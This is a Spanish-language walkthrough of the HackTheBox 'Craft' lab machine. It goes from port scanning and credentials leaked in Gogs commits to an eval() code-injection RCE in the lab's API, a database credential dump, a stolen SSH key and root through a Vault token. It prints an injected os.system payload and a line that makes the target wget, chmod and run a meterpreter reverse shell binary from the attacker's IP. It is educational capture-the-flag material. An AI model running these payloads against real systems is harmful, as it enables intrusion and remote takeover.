En este artículo, comenzaré a publicar soluciones enviadas para su
posterior procesamiento desde el sitio
HackTheBox . Espero que esto ayude al menos a alguien a desarrollarse en el campo de la seguridad de la información. Veremos cómo puede explotar RCE en la API, profundizar en los repositorios de Gogs, trabajar con bases de datos y lidiar con el sistema de almacenamiento y administración secreto de Vault.
La conexión al laboratorio es a través de VPN. Se recomienda no conectarse desde una computadora de trabajo o desde un host donde los datos importantes para usted estén disponibles, ya que termina en una red privada con personas que saben algo en el campo de la seguridad de la información :)
Información organizacionalEspecialmente para aquellos que desean aprender algo nuevo y desarrollarse en cualquiera de las áreas de información y seguridad informática, escribiré y hablaré sobre las siguientes categorías:
- PWN;
- criptografía (criptografía);
- tecnologías de red (Red);
- inversa (ingeniería inversa);
- esteganografía (Stegano);
- búsqueda y explotación de vulnerabilidades WEB.
Además de esto, compartiré mi experiencia en informática forense, análisis de malware y firmware, ataques a redes inalámbricas y redes de área local, realización de pentests y escritura de exploits.
Para que pueda conocer nuevos artículos, software y otra información, creé un
canal en Telegram y un
grupo para discutir cualquier problema en el campo de ICD. Además, consideraré personalmente sus solicitudes personales, preguntas, sugerencias y recomendaciones
personalmente y responderé a todos .
Toda la información se proporciona solo con fines educativos. El autor de este documento no tiene ninguna responsabilidad por los daños causados a alguien como resultado del uso del conocimiento y los métodos obtenidos como resultado de estudiar este documento.
Inteligencia
Escaneo de puertos
Esta máquina tiene una dirección IP de 10.10.10.110, que agrego a / etc / hosts.
10.10.10.110 craft.htb
En primer lugar, escaneamos puertos abiertos usando nmap y especificamos la opción -A para obtener la mayor cantidad de información posible sobre los servicios descubiertos.
nmap -A craft.htb

En la máquina, vemos el servicio ssh, así como un servidor web que se ejecuta en el puerto 443. Si va al servidor web, se nos ofrece mirar la API.

Cuando tratamos de ver la API y git, nos informan sobre sitios desconocidos.

Por lo tanto, agregamos ambos nombres de dominio a / etc / hosts.
10.10.10.110 api.craft.htb
10.10.10.110 gogs.craft.htb
Ahora ambos enlaces se abren. Supuestamente, Craft API es una interfaz para trabajar con API, por lo que, para empezar, necesitamos descubrir cómo funciona, con qué Gogs nos ayudará.

Punto de entrada
En git, lo primero que debe verificar es commits.

Después de pasar por los commits, en 10e3ba4f0a encontramos los datos de autenticación del usuario.

Después de haber iniciado sesión en gogs por correspondencia, encontramos una mención sobre el error.

Al hacer clic en el enlace, descubrimos cómo se realiza la verificación en la función eval (), lo cual es muy peligroso, ya que puede ejecutar código en esta función.

Para probar la hipótesis, en la consola local de Python haremos un análogo de la función e intentaremos llamar a la función "system ()" desde el módulo "os".

¡El código se ejecutó con éxito! Ahora necesita escribir un exploit para volver a conectarse. En la primera etapa, copie el código para la autenticación y la recepción de tokens.
En este código, nuestra carga se pasa en el parámetro "abv", por lo que para verificar la suposición de RCE, reemplazamos la cadena '15 .0 'con "__import __ (' os '). System (' ping your_ip ')".
Abrimos tcpdump, indicando qué interfaz escuchar y filtrando parámetros solo paquetes ICMP y lanzamos el exploit.


Observamos que pudimos hacer ping a nosotros mismos desde un host remoto. Ahora lanzamos back-connect. Se puede hacer a través de nc, pero obtengamos un shell de meterpreter. Para hacer esto, genere una carga usando msfvenom. Especificamos la carga en sí (reverse_tcp), el host local y el puerto (LHOST, LPORT), y el formato de archivo es elf.

Al mismo tiempo, activamos el servidor web local. Ahora configure el oyente en msfconsole. Para hacer esto, establezca los parámetros, como en la carga.

Escuchamos las conexiones entrantes, ahora necesitamos cargar la carga en el host e iniciarlo.
brew_dict['abv'] = 'wget http://10.10.14.199/shell.bin ; chmod +x shell.bin ; ./shell.bin'
En la ventana de metasplit, vemos una conexión entrante.

Usuario
Iniciemos el shell y veamos con quién trabajamos.

Según la conclusión del terminal, podemos suponer que estamos dentro del contenedor acoplable. Echa un vistazo al anfitrión.

Hay un archivo ejecutable dbtest.py. Deberías verlo.

El programa se conecta a la base de datos y ejecuta el comando con salida posterior. Echemos un vistazo a la base de datos. Para hacer esto, inicié la consola interactiva de Python en el host y copié todo el código en ella antes de ejecutar el comando.

Ahora solicitaremos tablas.

Como resultado, devolvimos 2 registros. Dado que cursor.fetchone () genera una entrada, haremos dos de esas salidas.

Entonces tenemos 2 mesas. Más interesante es el usuario. Mostramos todos los datos de esta tabla.

Y hay 3 entradas en el mismo.

Y obtenemos créditos de usuario. Después de haberlos probado en ssh y haber fallado, tratamos de entrar en git. Y resulta que iniciar sesión como gilfoyle. Y tiene un repositorio cerrado.


El directorio .ssh es muy interesante. Hay dos llaves, y recogemos la privada.

Estamos intentando conectarnos a través de ssh con esta clave.

RAÍZ
Lo primero que debe mirar en el directorio del usuario.

Encontramos una ficha de la bóveda.

Habiendo tratado con la
bóveda , diré que es un sistema de almacenamiento y administración de secretos que contiene datos en el formato de clave / valor, a los que se accede mediante un token. Compruebe si el almacenamiento está configurado.

Echemos
un vistazo a la lista de secretos .

Por lo tanto, vemos que el
acceso a ssh está configurado .

Ahora ingresamos la contraseña de un solo uso que se nos dio y estamos en el sistema como root.

Puedes unirte a nosotros en
Telegram . Formemos una comunidad en la que haya personas con conocimientos en muchas áreas de TI, para que siempre podamos ayudarnos mutuamente en cualquier problema de seguridad de la información y TI.